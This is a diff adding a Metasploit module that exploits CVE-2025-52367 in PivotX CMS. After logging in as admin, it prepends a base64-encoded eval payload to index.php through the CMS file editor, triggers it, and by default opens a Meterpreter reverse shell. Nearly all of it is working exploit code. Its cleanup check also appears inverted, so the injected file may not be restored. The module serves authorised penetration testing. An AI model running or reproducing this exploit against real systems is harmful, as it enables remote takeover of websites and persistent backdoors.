|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Exploit::Remote |
| 7 | + Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html |
| 8 | + |
| 9 | + include Exploit::Remote::HttpClient |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super( |
| 14 | + update_info( |
| 15 | + info, |
| 16 | + 'Name' => 'PivotX Remote Code Execution', |
| 17 | + 'Description' => %q{ |
| 18 | + This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution. |
| 19 | + }, |
| 20 | + 'License' => MSF_LICENSE, |
| 21 | + 'Author' => [ |
| 22 | + 'HayToN', # security research |
| 23 | + 'msutovsky-r7' # module dev |
| 24 | + ], |
| 25 | + 'References' => [ |
| 26 | + [ 'EDB', '52361' ], |
| 27 | + [ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'], |
| 28 | + [ 'CVE', '2025-52367'] |
| 29 | + ], |
| 30 | + 'Targets' => [ |
| 31 | + [ |
| 32 | + 'Linux', |
| 33 | + { |
| 34 | + 'Platform' => 'php', |
| 35 | + 'Arch' => ARCH_PHP |
| 36 | + } |
| 37 | + ] |
| 38 | + ], |
| 39 | + 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, |
| 40 | + 'DisclosureDate' => '2025-07-10', |
| 41 | + 'DefaultTarget' => 0, |
| 42 | + 'Notes' => { |
| 43 | + 'Stability' => [CRASH_SAFE], |
| 44 | + 'Reliability' => [REPEATABLE_SESSION], |
| 45 | + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] |
| 46 | + } |
| 47 | + ) |
| 48 | + ) |
| 49 | + register_options([ |
| 50 | + OptString.new('USERNAME', [ true, 'PivotX username', '' ]), |
| 51 | + OptString.new('PASSWORD', [true, 'PivotX password', '']), |
| 52 | + OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/']) |
| 53 | + ]) |
| 54 | + end |
| 55 | + |
| 56 | + def check |
| 57 | + res = send_request_cgi({ |
| 58 | + 'method' => 'GET', |
| 59 | + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php') |
| 60 | + }) |
| 61 | + |
| 62 | + return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200 |
| 63 | + |
| 64 | + return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered') |
| 65 | + |
| 66 | + html_body = res.get_html_document |
| 67 | + |
| 68 | + return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } |
| 69 | + |
| 70 | + version = Rex::Version.new(Regexp.last_match(1)) |
| 71 | + |
| 72 | + return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') |
| 73 | + |
| 74 | + return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") |
| 75 | + end |
| 76 | + |
| 77 | + def login |
| 78 | + data_post = Rex::MIME::Message.new |
| 79 | + data_post.add_part('', nil, nil, %(form-data; name="returnto")) |
| 80 | + data_post.add_part('', nil, nil, %(form-data; name="template")) |
| 81 | + data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username")) |
| 82 | + data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password")) |
| 83 | + |
| 84 | + res = send_request_cgi({ |
| 85 | + 'method' => 'POST', |
| 86 | + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), |
| 87 | + 'vars_get' => { 'page' => 'login' }, |
| 88 | + 'ctype' => "multipart/form-data; boundary=#{data_post.bound}", |
| 89 | + 'data' => data_post.to_s, |
| 90 | + 'keep_cookies' => true |
| 91 | + }) |
| 92 | + |
| 93 | + fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]") |
| 94 | + fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/ |
| 95 | + |
| 96 | + @csrf_token = Regexp.last_match(1) |
| 97 | + end |
| 98 | + |
| 99 | + def modify_file |
| 100 | + res = send_request_cgi({ |
| 101 | + 'method' => 'GET', |
| 102 | + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), |
| 103 | + 'vars_get' => { 'page' => 'homeexplore' } |
| 104 | + }) |
| 105 | + |
| 106 | + fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/ |
| 107 | + |
| 108 | + @base_dir = Regexp.last_match(1) |
| 109 | + |
| 110 | + res = send_request_cgi({ |
| 111 | + 'method' => 'GET', |
| 112 | + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), |
| 113 | + 'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' } |
| 114 | + }) |
| 115 | + |
| 116 | + fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200 |
| 117 | + |
| 118 | + @original_value = res.get_html_document.at('textarea')&.text |
| 119 | + |
| 120 | + fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value |
| 121 | + |
| 122 | + res = send_request_cgi({ |
| 123 | + 'method' => 'POST', |
| 124 | + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), |
| 125 | + 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" } |
| 126 | + }) |
| 127 | + |
| 128 | + fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') |
| 129 | + end |
| 130 | + |
| 131 | + def trigger_payload |
| 132 | + send_request_cgi({ |
| 133 | + 'method' => 'POST', |
| 134 | + 'uri' => normalize_uri(target_uri.path, 'index.php') |
| 135 | + }) |
| 136 | + end |
| 137 | + |
| 138 | + def restore |
| 139 | + res = send_request_cgi({ |
| 140 | + 'method' => 'POST', |
| 141 | + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), |
| 142 | + 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value } |
| 143 | + }) |
| 144 | + vprint_status('Restoring original content') |
| 145 | + vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') |
| 146 | + end |
| 147 | + |
| 148 | + def cleanup |
| 149 | + super |
| 150 | + # original content can be any string, it cannot be nil |
| 151 | + restore if @original_value.nil? |
| 152 | + end |
| 153 | + |
| 154 | + def exploit |
| 155 | + vprint_status('Logging in PivotX') |
| 156 | + login |
| 157 | + vprint_status('Modifying file and injecting payload') |
| 158 | + modify_file |
| 159 | + vprint_status('Triggering payload') |
| 160 | + trigger_payload |
| 161 | + end |
| 162 | +end |
0 commit comments